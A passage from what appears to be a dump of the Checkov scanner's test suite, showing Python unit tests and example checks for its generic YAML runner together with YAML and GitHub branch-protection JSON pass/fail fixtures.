self.assertEqual(report.failed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n        report.print_console()\n\n    def test_focused_result_configuration_no_evaluated_key(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"result_config\")\n        checks_dir = os.path.join(current_dir, \"checks\", \"result_config\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(\n            root_folder=valid_dir_path,\n            external_checks_dir=[checks_dir],\n            runner_filter=RunnerFilter(framework=\"all\", checks=[\"CKV_RESULT_CONFIG_1\"]),\n        )\n        self.assertEqual(len(report.passed_checks), 1)\n\n        # file_line_range should cover the entire file range for empty evaluated_key path\n        self.assertEqual(report.passed_checks[0].file_line_range, [1, 81])\n        report.print_console()\n\n    def test_focused_result_configuration_full_evaluated(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"result_config\")\n        checks_dir = os.path.join(current_dir, \"checks\", \"result_config\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(\n            root_folder=valid_dir_path,\n            external_checks_dir=[checks_dir],\n            runner_filter=RunnerFilter(framework=\"all\", checks=[\"CKV_RESULT_CONFIG_2\"]),\n        )\n        self.assertEqual(len(report.passed_checks), 1)\n\n        # file_line_range should cover the object that the evaluated_key path points at\n        self.assertEqual(report.passed_checks[0].file_line_range, [19, 24])\n        report.print_console()\n\n    def test_focused_result_configuration_partial_evaluated_key(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"result_config\")\n        checks_dir = os.path.join(current_dir, \"checks\", \"result_config\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(\n            root_folder=valid_dir_path,\n            external_checks_dir=[checks_dir],\n            runner_filter=RunnerFilter(framework=\"all\", checks=[\"CKV_RESULT_CONFIG_3\"]),\n        )\n        self.assertEqual(len(report.passed_checks), 1)\n\n        # file_line_range should cover the parent object of the key that the evaluated_key path points at\n        self.assertEqual(report.passed_checks[0].file_line_range, [17, 31])\n        report.print_console()\n\n    def test_get_result_configuration_for_list_type(self):\n        entity_conf = [{'file_name': 'branch_protection_rules', 'org_complementary_metadata': {}, 'repo_complementary_metadata': {}}]\n        evaluated_keys = ['data/organization/ipAllowListForInstalledAppsEnabledSetting']\n        result_config = registry.get_result_configuration(evaluated_keys, entity_conf)\n        self.assertEqual(result_config, entity_conf)\n\n    def test_get_result_configuration_for_dict_type(self):\n        entity_conf = {'required_pull_request_reviews': {'dismiss_stale_reviews': False}, 'CKV_METADATA': {'file_name': 'pass', 'org_complementary_metadata': {}, 'repo_complementary_metadata': {}}}\n        evaluated_keys = ['required_pull_request_reviews/dismiss_stale_reviews']\n        result_config = registry.get_result_configuration(evaluated_keys, entity_conf)\n        self.assertEqual(result_config, {'dismiss_stale_reviews': False})\n\n\n\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/generic_yaml/__init__.py",
    "content": ""
  },
  {
    "path": "tests/generic_yaml/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/generic_yaml/checks/array/BarAndBazToggleIsTrue.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.yaml_doc.base_yaml_check import BaseYamlCheck\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass BarAndBazToggleIsTrue(BaseYamlCheck):\n    def __init__(self):\n        name = \"A bar should have toggle set to true\"\n        id = \"CKV_BARBAZ_1\"\n        categories = [CheckCategories.CONVENTION]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=[\"bar\", \"baz\"],\n            block_type=BlockType.ARRAY\n        )\n\n    def scan_entity_conf(self, conf, entity_type):\n        if \"toggle\" in conf and conf[\"toggle\"]:\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = BarAndBazToggleIsTrue()\n"
  },
  {
    "path": "tests/generic_yaml/checks/array/__init__.py",
    "content": ""
  },
  {
    "path": "tests/generic_yaml/checks/complex/ValueIsAtLeastTwo.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.yaml_doc.base_yaml_check import BaseYamlCheck\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass ValueIsAtLeastTwo(BaseYamlCheck):\n    def __init__(self):\n        name = \"Ensure that an object has a value >= 2\"\n        id = \"CKV_COMPLEX_1\"\n        categories = [CheckCategories.CONVENTION]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=[\"prop_is_array_of_object\"],\n            block_type=BlockType.ARRAY,\n            path=\"array_of_objects\"\n        )\n\n    def scan_entity_conf(self, conf, entity_type):\n        for obj in conf:\n            if obj[\"value\"] < 2:\n                return CheckResult.FAILED, obj\n        return CheckResult.PASSED\n\n\ncheck = ValueIsAtLeastTwo()\n"
  },
  {
    "path": "tests/generic_yaml/checks/complex/__init__.py",
    "content": ""
  },
  {
    "path": "tests/generic_yaml/checks/object/FooExists.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.yaml_doc.base_yaml_check import BaseYamlCheck\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass FooExists(BaseYamlCheck):\n    def __init__(self):\n        name = \"Ensure that a foo object is present\"\n        id = \"CKV_FOO_2\"\n        categories = [CheckCategories.CONVENTION]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=[\"*\"],\n            block_type=BlockType.DOCUMENT,\n        )\n\n    def scan_entity_conf(self, conf, entity_type):\n        if \"foo\" in conf:\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = FooExists()\n"
  },
  {
    "path": "tests/generic_yaml/checks/object/PropHasValue.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.yaml_doc.base_yaml_check import BaseYamlCheck\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass PropHasValue(BaseYamlCheck):\n    def __init__(self):\n        name = (\n            \"Ensure that a foo object has a property named prop with a value of value\"\n        )\n        id = \"CKV_FOO_1\"\n        categories = [CheckCategories.CONVENTION]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=[\"foo\"],\n            block_type=BlockType.OBJECT,\n        )\n\n    def scan_entity_conf(self, conf, entity_type):\n        if \"prop\" in conf and conf[\"prop\"] == \"value\":\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = PropHasValue()\n"
  },
  {
    "path": "tests/generic_yaml/checks/object/__init__.py",
    "content": ""
  },
  {
    "path": "tests/generic_yaml/resources/array/fail/allFalse.yaml",
    "content": "- bar:\n    toggle: false\n- bar:\n    toggle: false\n  baz:\n    toggle: false\n"
  },
  {
    "path": "tests/generic_yaml/resources/array/fail/oneFalse.yaml",
    "content": "- bar:\n    toggle: true\n- bar:\n    toggle: true\n  baz:\n    toggle: false\n"
  },
  {
    "path": "tests/generic_yaml/resources/array/pass/pass.yaml",
    "content": "- bar:\n    toggle: true\n- bar:\n    toggle: true\n  baz:\n    toggle: true\n"
  },
  {
    "path": "tests/generic_yaml/resources/complex/fail/fail.yaml",
    "content": "array_of_objects:\n  - id: 1\n    prop_is_array_of_object:\n      - name: foo\n        value: 3\n      - name: bar\n        value: 0\n  - id: 2\n    prop_is_array_of_object:\n      - name: baz\n        value: 2\n"
  },
  {
    "path": "tests/generic_yaml/resources/complex/pass/pass.yaml",
    "content": "array_of_objects:\n  - id: 1\n    prop_is_array_of_object:\n      - name: foo\n        value: 3\n      - name: bar\n        value: 2\n  - id: 2\n    prop_is_array_of_object:\n      - name: baz\n        value: 2\n"
  },
  {
    "path": "tests/generic_yaml/resources/object/fail/noFoo.yaml",
    "content": "bar: oops\n"
  },
  {
    "path": "tests/generic_yaml/resources/object/fail/noProp.yaml",
    "content": "foo:\n  other: bar\n"
  },
  {
    "path": "tests/generic_yaml/resources/object/fail/noValue.yaml",
    "content": "foo:\n  prop: other\n"
  },
  {
    "path": "tests/generic_yaml/resources/object/pass/pass.yaml",
    "content": "foo:\n  prop: value\n  otherProp: otherValue\n"
  },
  {
    "path": "tests/generic_yaml/resources/object/skip/skip.yaml",
    "content": "foo:\n  prop: value\n  # checkov:skip=CKV_FOO_1: test justification\n  otherProp: otherValue\n\n\n"
  },
  {
    "path": "tests/generic_yaml/test_runner.py",
    "content": "import os\nimport unittest\n\nfrom parameterized import parameterized_class\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.bridgecrew.severities import Severities, BcSeverities\nfrom checkov.common.graph.db_connectors.networkx.networkx_db_connector import NetworkxConnector\nfrom checkov.common.graph.db_connectors.rustworkx.rustworkx_db_connector import RustworkxConnector\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.yaml_doc.runner import Runner\nfrom checkov.yaml_doc.registry import registry\n\n\n@parameterized_class([\n   {\"db_connector\": NetworkxConnector},\n   {\"db_connector\": RustworkxConnector}\n])\nclass TestRunnerValid(unittest.TestCase):\n\n    def test_registry_has_type(self):\n        self.assertEqual(registry.report_type, CheckType.YAML)\n\n    def test_runner_object_failing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"object\", \"fail\")\n        checks_dir = os.path.join(current_dir, \"checks\", \"object\")\n        runner = Runner(db_connector=self.db_connector())\n        checks = [\"CKV_FOO_1\", \"CKV_FOO_2\"]\n        report = runner.run(\n            root_folder=valid_dir_path,\n            external_checks_dir=[checks_dir],\n            runner_filter=RunnerFilter(framework='all', checks=checks)\n        )\n        self.assertEqual(len(report.failed_checks), 3)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(len(report.passed_checks), 2)\n        self.assertEqual(report.skipped_checks, [])\n        report.print_console()\n\n    def test_runner_honors_enforcement_rules(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"object\", \"fail\")\n        checks_dir = os.path.join(current_dir, \"checks\", \"object\")\n        runner = Runner(db_connector=self.db_connector())\n        filter = RunnerFilter(framework=['yaml'], use_enforcement_rules=True)\n        # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry\n        # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method\n        filter.enforcement_rule_configs = {CheckType.YAML: Severities[BcSeverities.OFF]}\n        report = runner.run(\n            root_folder=valid_dir_path,\n            external_checks_dir=[checks_dir],\n            runner_filter=filter\n        )\n        self.assertEqual(len(report.failed_checks), 0)\n        self.assertEqual(len(report.passed_checks), 0)\n        self.assertEqual(len(report.skipped_checks), 0)\n        self.assertEqual(len(report.parsing_errors), 0)\n        report.print_console()\n\n    def test_runner_object_passing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"object\", \"pass\")\n        checks_dir = os.path.join(current_dir, \"checks\", \"object\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(\n            root_folder=valid_dir_path,\n            external_checks_dir=[checks_dir],\n            runner_filter=RunnerFilter(framework=\"all\", checks=[\"CKV_FOO_1\"]),\n        )\n        self.assertEqual(len(report.passed_checks), 1)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.failed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n        report.print_console()\n\n    def test_runner_object_skip_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"object\", \"skip\")\n        checks_dir = os.path.join(current_dir, \"checks\", \"object\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(\n            root_folder=valid_dir_path,\n            external_checks_dir=[checks_dir],\n            runner_filter=RunnerFilter(framework=\"all\", checks=[\"CKV_FOO_1\", \"CKV_FOO_2\"]),\n        )\n        self.assertEqual(len(report.passed_checks), 1)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.failed_checks, [])\n        self.assertEqual(len(report.skipped_checks), 1)\n        report.print_console()\n\n    def test_runner_array_failing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"array\", \"fail\")\n        checks_dir = os.path.join(current_dir, \"checks\", \"array\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(\n            root_folder=valid_dir_path,\n            external_checks_dir=[checks_dir],\n            runner_filter=RunnerFilter(framework='all', checks=[\"CKV_BARBAZ_1\"])\n        )\n        self.assertEqual(len(report.failed_checks), 3)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(len(report.passed_checks), 2)\n        self.assertEqual(report.skipped_checks, [])\n        report.print_console()\n\n    def test_runner_array_passing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"array\", \"pass\")\n        checks_dir = os.path.join(current_dir, \"checks\", \"array\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(\n            root_folder=valid_dir_path,\n            external_checks_dir=[checks_dir],\n            runner_filter=RunnerFilter(framework=\"all\", checks=[\"CKV_BARBAZ_1\"]),\n        )\n        self.assertEqual(len(report.passed_checks), 3)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.failed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n        report.print_console()\n\n    def test_runner_complex_failing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"complex\", \"fail\")\n        checks_dir = os.path.join(current_dir, \"checks\", \"complex\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(\n            root_folder=valid_dir_path,\n            external_checks_dir=[checks_dir],\n            runner_filter=RunnerFilter(framework='all', checks=[\"CKV_COMPLEX_1\"])\n        )\n        self.assertEqual(len(report.failed_checks), 1)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.passed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n        report.print_console()\n\n    def test_runner_complex_passing_check(self):\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        valid_dir_path = os.path.join(current_dir, \"resources\", \"complex\", \"pass\")\n        checks_dir = os.path.join(current_dir, \"checks\", \"complex\")\n        runner = Runner(db_connector=self.db_connector())\n        report = runner.run(\n            root_folder=valid_dir_path,\n            external_checks_dir=[checks_dir],\n            runner_filter=RunnerFilter(framework=\"all\", checks=[\"CKV_COMPLEX_1\"]),\n        )\n        self.assertEqual(len(report.passed_checks), 2)\n        self.assertEqual(report.parsing_errors, [])\n        self.assertEqual(report.failed_checks, [])\n        self.assertEqual(report.skipped_checks, [])\n        report.print_console()\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/github/__init__.py",
    "content": ""
  },
  {
    "path": "tests/github/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/github/checks/branch_security/GithubBranchDisallowDeletions/expected.yaml",
    "content": "pass:\n  - \"pass.json\"\nfail:\n  - \"fail.json\"\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubBranchDisallowDeletions/fail.json",
    "content": "{\n  \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection\",\n  \"required_pull_request_reviews\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews\",\n    \"dismiss_stale_reviews\": false,\n    \"require_code_owner_reviews\": false,\n    \"require_last_push_approval\": false,\n    \"required_approving_review_count\": 1\n  },\n  \"required_signatures\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures\",\n    \"enabled\": false\n  },\n  \"enforce_admins\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins\",\n    \"enabled\": false\n  },\n  \"required_linear_history\": {\n    \"enabled\": false\n  },\n  \"allow_force_pushes\": {\n    \"enabled\": false\n  },\n  \"allow_deletions\": {\n    \"enabled\": true\n  },\n  \"block_creations\": {\n    \"enabled\": false\n  },\n  \"required_conversation_resolution\": {\n    \"enabled\": false\n  },\n  \"lock_branch\": {\n    \"enabled\": false\n  },\n  \"allow_fork_syncing\": {\n    \"enabled\": false\n  }\n}\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubBranchDisallowDeletions/pass.json",
    "content": "{\n  \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection\",\n  \"required_pull_request_reviews\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews\",\n    \"dismiss_stale_reviews\": false,\n    \"require_code_owner_reviews\": false,\n    \"require_last_push_approval\": false,\n    \"required_approving_review_count\": 1\n  },\n  \"required_signatures\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures\",\n    \"enabled\": false\n  },\n  \"enforce_admins\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins\",\n    \"enabled\": false\n  },\n  \"required_linear_history\": {\n    \"enabled\": false\n  },\n  \"allow_force_pushes\": {\n    \"enabled\": false\n  },\n  \"allow_deletions\": {\n    \"enabled\": false\n  },\n  \"block_creations\": {\n    \"enabled\": false\n  },\n  \"required_conversation_resolution\": {\n    \"enabled\": false\n  },\n  \"lock_branch\": {\n    \"enabled\": false\n  },\n  \"allow_fork_syncing\": {\n    \"enabled\": false\n  }\n}\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubBranchDismissStaleReviews/expected.yaml",
    "content": "pass:\n  - \"pass.json\"\nfail:\n  - \"fail.json\"\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubBranchDismissStaleReviews/fail.json",
    "content": "{\n  \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection\",\n  \"required_pull_request_reviews\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews\",\n    \"dismiss_stale_reviews\": false,\n    \"require_code_owner_reviews\": false,\n    \"require_last_push_approval\": false,\n    \"required_approving_review_count\": 1\n  },\n  \"required_signatures\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures\",\n    \"enabled\": false\n  },\n  \"enforce_admins\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins\",\n    \"enabled\": false\n  },\n  \"required_linear_history\": {\n    \"enabled\": false\n  },\n  \"allow_force_pushes\": {\n    \"enabled\": false\n  },\n  \"allow_deletions\": {\n    \"enabled\": false\n  },\n  \"block_creations\": {\n    \"enabled\": false\n  },\n  \"required_conversation_resolution\": {\n    \"enabled\": false\n  },\n  \"lock_branch\": {\n    \"enabled\": false\n  },\n  \"allow_fork_syncing\": {\n    \"enabled\": false\n  }\n}\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubBranchDismissStaleReviews/pass.json",
    "content": "{\n  \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection\",\n  \"required_pull_request_reviews\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews\",\n    \"dismiss_stale_reviews\": true,\n    \"require_code_owner_reviews\": false,\n    \"require_last_push_approval\": false,\n    \"required_approving_review_count\": 1\n  },\n  \"required_signatures\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures\",\n    \"enabled\": false\n  },\n  \"enforce_admins\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins\",\n    \"enabled\": false\n  },\n  \"required_linear_history\": {\n    \"enabled\": false\n  },\n  \"allow_force_pushes\": {\n    \"enabled\": false\n  },\n  \"allow_deletions\": {\n    \"enabled\": false\n  },\n  \"block_creations\": {\n    \"enabled\": false\n  },\n  \"required_conversation_resolution\": {\n    \"enabled\": false\n  },\n  \"lock_branch\": {\n    \"enabled\": false\n  },\n  \"allow_fork_syncing\": {\n    \"enabled\": false\n  }\n}\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubBranchDismissalRestrictions/expected.yaml",
    "content": "pass:\n  - \"pass.json\"\nfail:\n  - \"fail.json\"\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubBranchDismissalRestrictions/fail.json",
    "content": "{\n  \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection\",\n  \"required_pull_request_reviews\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews\",\n    \"dismiss_stale_reviews\": false,\n    \"require_code_owner_reviews\": false,\n    \"require_last_push_approval\": false,\n    \"required_approving_review_count\": 1,\n    \"dismissal_restrictions\": {\n      \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/dismissal_restrictions\",\n      \"users_url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/dismissal_restrictions/users\",\n      \"teams_url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/dismissal_restrictions/teams\",\n      \"users\": [\n        {\n          \"login\": \"deadpool\",\n          \"id\": 12345,\n          \"node_id\": \"12345\",\n          \"avatar_url\": \"https://avatars.githubusercontent.com/\",\n          \"gravatar_id\": \"\",\n          \"url\": \"https://api.github.com/users/deadpool\",\n          \"html_url\": \"https://github.com/deadpool\",\n          \"followers_url\": \"https://api.github.com/users/deadpool/followers\",\n          \"following_url\": \"https://api.github.com/users/deadpool/following{/other_user}\",\n          \"gists_url\": \"https://api.github.com/users/deadpool/gists{/gist_id}\",\n          \"starred_url\": \"https://api.github.com/users/deadpool/starred{/owner}{/repo}\",\n          \"subscriptions_url\": \"https://api.github.com/users/deadpool/subscriptions\",\n          \"organizations_url\": \"https://api.github.com/users/deadpool/orgs\",\n          \"repos_url\": \"https://api.github.com/users/deadpool/repos\",\n          \"events_url\": \"https://api.github.com/users/deadpool/events{/privacy}\",\n          \"received_events_url\": \"https://api.github.com/users/deadpool/received_events\",\n          \"type\": \"User\",\n          \"site_admin\": false\n        }\n      ],\n      \"teams\": [],\n      \"apps\": []\n    }\n  },\n  \"required_signatures\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures\",\n    \"enabled\": false\n  },\n  \"enforce_admins\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins\",\n    \"enabled\": false\n  },\n  \"required_linear_history\": {\n    \"enabled\": false\n  },\n  \"allow_force_pushes\": {\n    \"enabled\": false\n  },\n  \"allow_deletions\": {\n    \"enabled\": false\n  },\n  \"block_creations\": {\n    \"enabled\": false\n  },\n  \"required_conversation_resolution\": {\n    \"enabled\": false\n  },\n  \"lock_branch\": {\n    \"enabled\": false\n  },\n  \"allow_fork_syncing\": {\n    \"enabled\": false\n  }\n}"
  },
  {
    "path": "tests/github/checks/branch_security/GithubBranchDismissalRestrictions/pass.json",
    "content": "{\n  \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection\",\n  \"required_pull_request_reviews\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews\",\n    \"dismiss_stale_reviews\": false,\n    \"require_code_owner_reviews\": false,\n    \"require_last_push_approval\": false,\n    \"required_approving_review_count\": 1\n  },\n  \"required_signatures\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures\",\n    \"enabled\": false\n  },\n  \"enforce_admins\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins\",\n    \"enabled\": false\n  },\n  \"required_linear_history\": {\n    \"enabled\": false\n  },\n  \"allow_force_pushes\": {\n    \"enabled\": false\n  },\n  \"allow_deletions\": {\n    \"enabled\": false\n  },\n  \"block_creations\": {\n    \"enabled\": false\n  },\n  \"required_conversation_resolution\": {\n    \"enabled\": false\n  },\n  \"lock_branch\": {\n    \"enabled\": false\n  },\n  \"allow_fork_syncing\": {\n    \"enabled\": false\n  }\n}\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubBranchRequireCodeOwnerReviews/expected.yaml",
    "content": "pass:\n  - \"pass.json\"\nfail:\n  - \"fail.json\"\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubBranchRequireCodeOwnerReviews/fail.json",
    "content": "{\n  \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection\",\n  \"required_pull_request_reviews\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews\",\n    \"dismiss_stale_reviews\": false,\n    \"require_code_owner_reviews\": false,\n    \"require_last_push_approval\": false,\n    \"required_approving_review_count\": 1\n  },\n  \"required_signatures\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures\",\n    \"enabled\": false\n  },\n  \"enforce_admins\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins\",\n    \"enabled\": false\n  },\n  \"required_linear_history\": {\n    \"enabled\": false\n  },\n  \"allow_force_pushes\": {\n    \"enabled\": false\n  },\n  \"allow_deletions\": {\n    \"enabled\": false\n  },\n  \"block_creations\": {\n    \"enabled\": false\n  },\n  \"required_conversation_resolution\": {\n    \"enabled\": false\n  },\n  \"lock_branch\": {\n    \"enabled\": false\n  },\n  \"allow_fork_syncing\": {\n    \"enabled\": false\n  }\n}\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubBranchRequireCodeOwnerReviews/pass.json",
    "content": "{\n  \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection\",\n  \"required_pull_request_reviews\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews\",\n    \"dismiss_stale_reviews\": false,\n    \"require_code_owner_reviews\": true,\n    \"require_last_push_approval\": false,\n    \"required_approving_review_count\": 1\n  },\n  \"required_signatures\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures\",\n    \"enabled\": false\n  },\n  \"enforce_admins\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins\",\n    \"enabled\": false\n  },\n  \"required_linear_history\": {\n    \"enabled\": false\n  },\n  \"allow_force_pushes\": {\n    \"enabled\": false\n  },\n  \"allow_deletions\": {\n    \"enabled\": false\n  },\n  \"block_creations\": {\n    \"enabled\": false\n  },\n  \"required_conversation_resolution\": {\n    \"enabled\": false\n  },\n  \"lock_branch\": {\n    \"enabled\": false\n  },\n  \"allow_fork_syncing\": {\n    \"enabled\": false\n  }\n}\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubBranchRequireConversationResolution/expected.yaml",
    "content": "pass:\n  - \"pass.json\"\nfail:\n  - \"fail.json\"\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubBranchRequireConversationResolution/fail.json",
    "content": "{\n  \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection\",\n  \"required_pull_request_reviews\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews\",\n    \"dismiss_stale_reviews\": false,\n    \"require_code_owner_reviews\": false,\n    \"require_last_push_approval\": false,\n    \"required_approving_review_count\": 1\n  },\n  \"required_signatures\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures\",\n    \"enabled\": false\n  },\n  \"enforce_admins\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins\",\n    \"enabled\": false\n  },\n  \"required_linear_history\": {\n    \"enabled\": false\n  },\n  \"allow_force_pushes\": {\n    \"enabled\": false\n  },\n  \"allow_deletions\": {\n    \"enabled\": false\n  },\n  \"block_creations\": {\n    \"enabled\": false\n  },\n  \"required_conversation_resolution\": {\n    \"enabled\": false\n  },\n  \"lock_branch\": {\n    \"enabled\": false\n  },\n  \"allow_fork_syncing\": {\n    \"enabled\": false\n  }\n}\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubBranchRequireConversationResolution/pass.json",
    "content": "{\n  \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection\",\n  \"required_pull_request_reviews\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_pull_request_reviews\",\n    \"dismiss_stale_reviews\": false,\n    \"require_code_owner_reviews\": false,\n    \"require_last_push_approval\": false,\n    \"required_approving_review_count\": 1\n  },\n  \"required_signatures\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/required_signatures\",\n    \"enabled\": false\n  },\n  \"enforce_admins\": {\n    \"url\": \"https://api.github.com/repos/bridgecrewio/example/branches/main/protection/enforce_admins\",\n    \"enabled\": false\n  },\n  \"required_linear_history\": {\n    \"enabled\": false\n  },\n  \"allow_force_pushes\": {\n    \"enabled\": false\n  },\n  \"allow_deletions\": {\n    \"enabled\": false\n  },\n  \"block_creations\": {\n    \"enabled\": false\n  },\n  \"required_conversation_resolution\": {\n    \"enabled\": true\n  },\n  \"lock_branch\": {\n    \"enabled\": false\n  },\n  \"allow_fork_syncing\": {\n    \"enabled\": false\n  }\n}\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubBranchRequirePushRestrictions/expected.yaml",
    "content": "pass:\n  - \"pass.json\"\nfail:\n  - \"fail.json\"\n"
  },
  {
    "path": "tests/github/checks/branch_security/GithubBranchRequirePushRestrictions/fail.json",
